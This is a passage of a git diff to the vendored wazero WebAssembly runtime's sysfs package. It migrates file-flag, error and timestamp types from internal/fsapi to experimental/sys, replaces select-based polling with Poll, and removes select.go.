return } -func timespecToFileTime(times *[2]syscall.Timespec, i int) *syscall.Filetime { - if times[i].Nsec == UTIME_OMIT { +func timespecToFileTime(tim int64) *syscall.Filetime { + if tim == sys.UTIME_OMIT { return nil } - - var nsec int64 - if times[i].Nsec == UTIME_NOW { - nsec = time.Now().UnixNano() - } else { - nsec = syscall.TimespecToNsec(times[i]) - } - ft := syscall.NsecToFiletime(nsec) + ft := syscall.NsecToFiletime(tim) return &ft } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go index fdee885aa3..07fb15cf12 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go @@ -1,17 +1,17 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -func setNonblock(fd uintptr, enable bool) error { - return syscall.SetNonblock(int(fd), enable) +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.UnwrapOSError(syscall.SetNonblock(int(fd), enable)) } func isNonblock(f *osFile) bool { - return f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go index 3acbf2721f..eb38ea5afa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go @@ -1,17 +1,15 @@ -//go:build windows - package sysfs import ( "io/fs" "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -func setNonblock(fd uintptr, enable bool) error { +func setNonblock(fd uintptr, enable bool) sys.Errno { // We invoke the syscall, but this is currently no-op. - return syscall.SetNonblock(syscall.Handle(fd), enable) + return sys.UnwrapOSError(syscall.SetNonblock(syscall.Handle(fd), enable)) } func isNonblock(f *osFile) bool { @@ -21,5 +19,5 @@ func isNonblock(f *osFile) bool { if errno == 0 { isValid = st.Mode&fs.ModeNamedPipe != 0 } - return isValid && f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return isValid && f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go index e6c3b06c28..be6d2c35f6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go @@ -3,35 +3,35 @@ package sysfs import ( "os" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) // toOsOpenFlag converts the input to the flag parameter of os.OpenFile -func toOsOpenFlag(oflag fsapi.Oflag) (flag int) { +func toOsOpenFlag(oflag sys.Oflag) (flag int) { // First flags are exclusive - switch oflag & (fsapi.O_RDONLY | fsapi.O_RDWR | fsapi.O_WRONLY) { - case fsapi.O_RDONLY: + switch oflag & (sys.O_RDONLY | sys.O_RDWR | sys.O_WRONLY) { + case sys.O_RDONLY: flag |= os.O_RDONLY - case fsapi.O_RDWR: + case sys.O_RDWR: flag |= os.O_RDWR - case fsapi.O_WRONLY: + case sys.O_WRONLY: flag |= os.O_WRONLY } // Run down the flags defined in the os package - if oflag&fsapi.O_APPEND != 0 { + if oflag&sys.O_APPEND != 0 { flag |= os.O_APPEND } - if oflag&fsapi.O_CREAT != 0 { + if oflag&sys.O_CREAT != 0 { flag |= os.O_CREATE } - if oflag&fsapi.O_EXCL != 0 { + if oflag&sys.O_EXCL != 0 { flag |= os.O_EXCL } - if oflag&fsapi.O_SYNC != 0 { + if oflag&sys.O_SYNC != 0 { flag |= os.O_SYNC } - if oflag&fsapi.O_TRUNC != 0 { + if oflag&sys.O_TRUNC != 0 { flag |= os.O_TRUNC } return withSyscallOflag(oflag, flag) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go index 82275393b5..a4f54ca2cc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go @@ -3,22 +3,22 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // syscall.O_RSYNC not defined on darwin diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go index e91da95dfa..42adaa2140 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go @@ -3,20 +3,20 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_NOFOLLOW | sys.O_NONBLOCK -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } // syscall.O_DSYNC not defined on darwin - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // syscall.O_RSYNC not defined on darwin diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go index bfa9a23e19..7f4915480c 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go @@ -3,25 +3,25 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } - if oflag&fsapi.O_RSYNC != 0 { + if oflag&sys.O_RSYNC != 0 { flag |= syscall.O_RSYNC } return flag diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go index 4e886fb550..9ae1e2bcdb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go @@ -7,14 +7,13 @@ import ( "os" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// openFile is like os.OpenFile except it accepts a fsapi.Oflag and returns +// openFile is like os.OpenFile except it accepts a sys.Oflag and returns // sys.Errno. A zero sys.Errno is success. -func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { f, err := os.OpenFile(path, toOsOpenFlag(oflag), perm) - // Note: This does not return a fsapi.File because fsapi.FS that returns + // Note: This does not return a sys.File because sys.FS that returns // one may want to hide the real OS path. For example, this is needed for // pre-opens. return f, sys.UnwrapOSError(err) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go index 6589ddac3f..bdf7dd84d2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go @@ -5,26 +5,26 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { // See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90 flag |= 0x1000000 } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } - if oflag&fsapi.O_RSYNC != 0 { + if oflag&sys.O_RSYNC != 0 { flag |= syscall.O_RSYNC } return flag diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go index 9b925949aa..9f7a6d0885 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go @@ -2,11 +2,13 @@ package sysfs -import "github.com/tetratelabs/wazero/internal/fsapi" +import ( + "github.com/tetratelabs/wazero/experimental/sys" +) -const supportedSyscallOflag = fsapi.Oflag(0) +const supportedSyscallOflag = sys.Oflag(0) -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { +func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined // O_DSYNC not defined // O_NOFOLLOW not defined diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go index bc7a7f7d0c..bcfbfbcd6b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go @@ -8,12 +8,11 @@ import ( "unsafe" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" ) -func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { - isDir := oflag&fsapi.O_DIRECTORY > 0 +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { + isDir := oflag&sys.O_DIRECTORY > 0 flag := toOsOpenFlag(oflag) // TODO: document why we are opening twice @@ -55,14 +54,14 @@ func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.E return f, errno } -const supportedSyscallOflag = fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_NONBLOCK // Map to synthetic values here https://github.com/golang/go/blob/go1.20/src/syscall/types_windows.go#L34-L48 -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { +func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined in windows // O_DSYNC not defined in windows // O_NOFOLLOW not defined in windows - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // O_RSYNC not defined in windows diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go index e39c92566c..ac0df777a9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go @@ -5,16 +5,13 @@ import ( "io/fs" "os" "runtime" - "syscall" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) -func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsapi.File { +func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) fsapi.File { // Windows cannot read files written to a directory after it was opened. // This was noticed in #1087 in zig tests. Use a flag instead of a // different type. @@ -26,7 +23,7 @@ func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsap // implement api.File. type osFile struct { path string - flag fsapi.Oflag + flag experimentalsys.Oflag perm fs.FileMode file *os.File fd uintptr @@ -44,7 +41,7 @@ type osFile struct { cachedSt *cachedStat } -// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they // couldn't be retrieved. func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { @@ -55,19 +52,19 @@ func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Dev implements the same method as documented on fsapi.File +// Dev implements the same method as documented on sys.File func (f *osFile) Dev() (uint64, experimentalsys.Errno) { dev, _, _, errno := f.cachedStat() return dev, errno } -// Ino implements the same method as documented on fsapi.File +// Ino implements the same method as documented on sys.File func (f *osFile) Ino() (sys.Inode, experimentalsys.Errno) { _, ino, _, errno := f.cachedStat() return ino, errno } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (f *osFile) IsDir() (bool, experimentalsys.Errno) { _, _, isDir, errno := f.cachedStat() return isDir, errno @@ -75,19 +72,19 @@ func (f *osFile) IsDir() (bool, experimentalsys.Errno) { // IsAppend implements File.IsAppend func (f *osFile) IsAppend() bool { - return f.flag&fsapi.O_APPEND == fsapi.O_APPEND + return f.flag&experimentalsys.O_APPEND == experimentalsys.O_APPEND } -// SetAppend implements the same method as documented on fsapi.File +// SetAppend implements the same method as documented on sys.File func (f *osFile) SetAppend(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_APPEND + f.flag |= experimentalsys.O_APPEND } else { - f.flag &= ^fsapi.O_APPEND + f.flag &= ^experimentalsys.O_APPEND } // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^fsapi.O_CREAT + f.flag &= ^experimentalsys.O_CREAT // appendMode (bool) cannot be changed later, so we have to re-open the // file. https://github.com/golang/go/blob/go1.20/src/os/file_unix.go#L60 @@ -99,7 +96,7 @@ var _ reopenFile = (*fsFile)(nil).reopen func (f *osFile) reopen() (errno experimentalsys.Errno) { // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^fsapi.O_CREAT + f.flag &= ^experimentalsys.O_CREAT _ = f.close() f.file, errno = OpenFile(f.path, f.flag, f.perm) @@ -114,17 +111,17 @@ func (f *osFile) IsNonblock() bool { // SetNonblock implements the same method as documented on fsapi.File func (f *osFile) SetNonblock(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_NONBLOCK + f.flag |= experimentalsys.O_NONBLOCK } else { - f.flag &= ^fsapi.O_NONBLOCK + f.flag &= ^experimentalsys.O_NONBLOCK } - if err := setNonblock(f.fd, enable); err != nil { - return fileError(f, f.closed, experimentalsys.UnwrapOSError(err)) + if errno = setNonblock(f.fd, enable); errno != 0 { + return fileError(f, f.closed, errno) } return 0 } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { return sys.Stat_t{}, experimentalsys.EBADF @@ -140,7 +137,7 @@ func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return st, errno } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. @@ -157,7 +154,7 @@ func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pread implements the same method as documented on fsapi.File +// Pread implements the same method as documented on sys.File func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pread(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -166,7 +163,7 @@ func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn return } -// Seek implements the same method as documented on fsapi.File +// Seek implements the same method as documented on sys.File func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { if newOffset, errno = seek(f.file, offset, whence); errno != 0 { // Defer validation overhead until we've already had an error. @@ -182,23 +179,14 @@ func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// PollRead implements the same method as documented on fsapi.File -func (f *osFile) PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) { - fdSet := platform.FdSet{} - fd := int(f.fd) - fdSet.Set(fd) - nfds := fd + 1 // See https://man7.org/linux/man-pages/man2/select.2.html#:~:text=condition%20has%20occurred.-,nfds,-This%20argument%20should - count, err := _select(nfds, &fdSet, nil, nil, timeout) - if errno = experimentalsys.UnwrapOSError(err); errno != 0 { - // Defer validation overhead until we've already had an error. - errno = fileError(f, f.closed, errno) - } - return count > 0, errno +// Poll implements the same method as documented on fsapi.File +func (f *osFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + return poll(f.fd, flag, timeoutMillis) } // Readdir implements File.Readdir. Notably, this uses "Readdir", not // "ReadDir", from os.File. -func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { +func (f *osFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { if f.reopenDir { // re-open the directory if needed. f.reopenDir = false if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 { @@ -212,7 +200,7 @@ func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len writes. @@ -226,7 +214,7 @@ func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pwrite implements the same method as documented on fsapi.File +// Pwrite implements the same method as documented on sys.File func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pwrite(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -235,7 +223,7 @@ func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err return } -// Truncate implements the same method as documented on fsapi.File +// Truncate implements the same method as documented on sys.File func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { if errno = experimentalsys.UnwrapOSError(f.file.Truncate(size)); errno != 0 { // Defer validation overhead until we've already had an error. @@ -244,27 +232,27 @@ func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { return } -// Sync implements the same method as documented on fsapi.File +// Sync implements the same method as documented on sys.File func (f *osFile) Sync() experimentalsys.Errno { return fsync(f.file) } -// Datasync implements the same method as documented on fsapi.File +// Datasync implements the same method as documented on sys.File func (f *osFile) Datasync() experimentalsys.Errno { return datasync(f.file) } -// Utimens implements the same method as documented on fsapi.File -func (f *osFile) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.File +func (f *osFile) Utimens(atim, mtim int64) experimentalsys.Errno { if f.closed { return experimentalsys.EBADF } - err := futimens(f.fd, times) + err := futimens(f.fd, atim, mtim) return experimentalsys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *osFile) Close() experimentalsys.Errno { if f.closed { return 0 diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go index 1e96e2b4dd..59e331a298 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go @@ -2,57 +2,25 @@ package sysfs import ( "io/fs" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// NewReadFS is used to mask an existing fsapi.FS for reads. Notably, this allows -// the CLI to do read-only mounts of directories the host user can write, but -// doesn't want the guest wasm to. For example, Python libraries shouldn't be -// written to at runtime by the python wasm file. -func NewReadFS(fs fsapi.FS) fsapi.FS { - if _, ok := fs.(*readFS); ok { - return fs - } else if _, ok = fs.(fsapi.UnimplementedFS); ok { - return fs // unimplemented is read-only - } - return &readFS{fs} -} - -type readFS struct { - fsapi.FS -} - -// OpenFile implements the same method as documented on fsapi.FS -func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - // TODO: Once the real implementation is complete, move the below to - // /RATIONALE.md. Doing this while the type is unstable creates - // documentation drift as we expect a lot of reshaping meanwhile. - // - // Callers of this function expect to either open a valid file handle, or - // get an error, if they can't. We want to return ENOSYS if opened for - // anything except reads. - // - // Instead, we could return a fake no-op file on O_WRONLY. However, this - // hurts observability because a later write error to that file will be on - // a different source code line than the root cause which is opening with - // an unsupported flag. - // - // The tricky part is os.RD_ONLY is typically defined as zero, so while the - // parameter is named flag, the part about opening read vs write isn't a - // typical bitflag. We can't compare against zero anyway, because even if - // there isn't a current flag to OR in with that, there may be in the - // future. What we do instead is mask the flags about read/write mode and - // check if they are the opposite of read or not. - switch flag & (fsapi.O_RDONLY | fsapi.O_WRONLY | fsapi.O_RDWR) { - case fsapi.O_WRONLY, fsapi.O_RDWR: - if flag&fsapi.O_DIRECTORY != 0 { +type ReadFS struct { + experimentalsys.FS +} + +// OpenFile implements the same method as documented on sys.FS +func (r *ReadFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + // Mask the mutually exclusive bits as they determine write mode. + switch flag & (experimentalsys.O_RDONLY | experimentalsys.O_WRONLY | experimentalsys.O_RDWR) { + case experimentalsys.O_WRONLY, experimentalsys.O_RDWR: + // Return the correct error if a directory was opened for write. + if flag&experimentalsys.O_DIRECTORY != 0 { return nil, experimentalsys.EISDIR } return nil, experimentalsys.ENOSYS - default: // fsapi.O_RDONLY (or no flag) so we are ok! + default: // sys.O_RDONLY (integer zero) so we are ok! } f, errno := r.FS.OpenFile(path, flag, perm) @@ -62,80 +30,80 @@ func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsap return &readFile{f}, 0 } -// Mkdir implements the same method as documented on fsapi.FS -func (r *readFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { +// Mkdir implements the same method as documented on sys.FS +func (r *ReadFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { return experimentalsys.EROFS } -// Chmod implements the same method as documented on fsapi.FS -func (r *readFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { +// Chmod implements the same method as documented on sys.FS +func (r *ReadFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { return experimentalsys.EROFS } -// Rename implements the same method as documented on fsapi.FS -func (r *readFS) Rename(from, to string) experimentalsys.Errno { +// Rename implements the same method as documented on sys.FS +func (r *ReadFS) Rename(from, to string) experimentalsys.Errno { return experimentalsys.EROFS } -// Rmdir implements the same method as documented on fsapi.FS -func (r *readFS) Rmdir(path string) experimentalsys.Errno { +// Rmdir implements the same method as documented on sys.FS +func (r *ReadFS) Rmdir(path string) experimentalsys.Errno { return experimentalsys.EROFS } -// Link implements the same method as documented on fsapi.FS -func (r *readFS) Link(_, _ string) experimentalsys.Errno { +// Link implements the same method as documented on sys.FS +func (r *ReadFS) Link(_, _ string) experimentalsys.Errno { return experimentalsys.EROFS } -// Symlink implements the same method as documented on fsapi.FS -func (r *readFS) Symlink(_, _ string) experimentalsys.Errno { +// Symlink implements the same method as documented on sys.FS +func (r *ReadFS) Symlink(_, _ string) experimentalsys.Errno { return experimentalsys.EROFS } -// Unlink implements the same method as documented on fsapi.FS -func (r *readFS) Unlink(path string) experimentalsys.Errno { +// Unlink implements the same method as documented on sys.FS +func (r *ReadFS) Unlink(path string) experimentalsys.Errno { return experimentalsys.EROFS } -// Utimens implements the same method as documented on fsapi.FS -func (r *readFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.FS +func (r *ReadFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { return experimentalsys.EROFS } // compile-time check to ensure readFile implements api.File. -var _ fsapi.File = (*readFile)(nil) +var _ experimentalsys.File = (*readFile)(nil) type readFile struct { - fsapi.File + experimentalsys.File } -// Write implements the same method as documented on fsapi.File. +// Write implements the same method as documented on sys.File. func (r *readFile) Write([]byte) (int, experimentalsys.Errno) { return 0, r.writeErr() } -// Pwrite implements the same method as documented on fsapi.File. +// Pwrite implements the same method as documented on sys.File. func (r *readFile) Pwrite([]byte, int64) (n int, errno experimentalsys.Errno) { return 0, r.writeErr() } -// Truncate implements the same method as documented on fsapi.File. +// Truncate implements the same method as documented on sys.File. func (r *readFile) Truncate(int64) experimentalsys.Errno { return r.writeErr() } -// Sync implements the same method as documented on fsapi.File. +// Sync implements the same method as documented on sys.File. func (r *readFile) Sync() experimentalsys.Errno { return experimentalsys.EBADF } -// Datasync implements the same method as documented on fsapi.File. +// Datasync implements the same method as documented on sys.File. func (r *readFile) Datasync() experimentalsys.Errno { return experimentalsys.EBADF } -// Utimens implements the same method as documented on fsapi.File. -func (r *readFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.File. +func (r *readFile) Utimens(int64, int64) experimentalsys.Errno { return experimentalsys.EBADF } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go index 5ec22539e4..f7d84ef7ae 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go deleted file mode 100644 index ac0861fda4..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go +++ /dev/null @@ -1,36 +0,0 @@ -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// _select exposes the select(2) syscall. This is named as such to avoid -// colliding with they keyword select while not exporting the function. -// -// # Notes on Parameters -// -// For convenience, we expose a pointer to a time.Duration instead of a pointer to a syscall.Timeval. -// It must be a pointer because `nil` means "wait forever". -// -// However, notice that select(2) may mutate the pointed Timeval on some platforms, -// for instance if the call returns early. -// -// This implementation *will not* update the pointed time.Duration value accordingly. -// -// See also: https://github.com/golang/sys/blob/master/unix/syscall_unix_test.go#L606-L617 -// -// # Notes on the Syscall -// -// Because this is a blocking syscall, it will also block the carrier thread of the goroutine, -// preventing any means to support context cancellation directly. -// -// There are ways to obviate this issue. We outline here one idea, that is however not currently implemented. -// A common approach to support context cancellation is to add a signal file descriptor to the set, -// 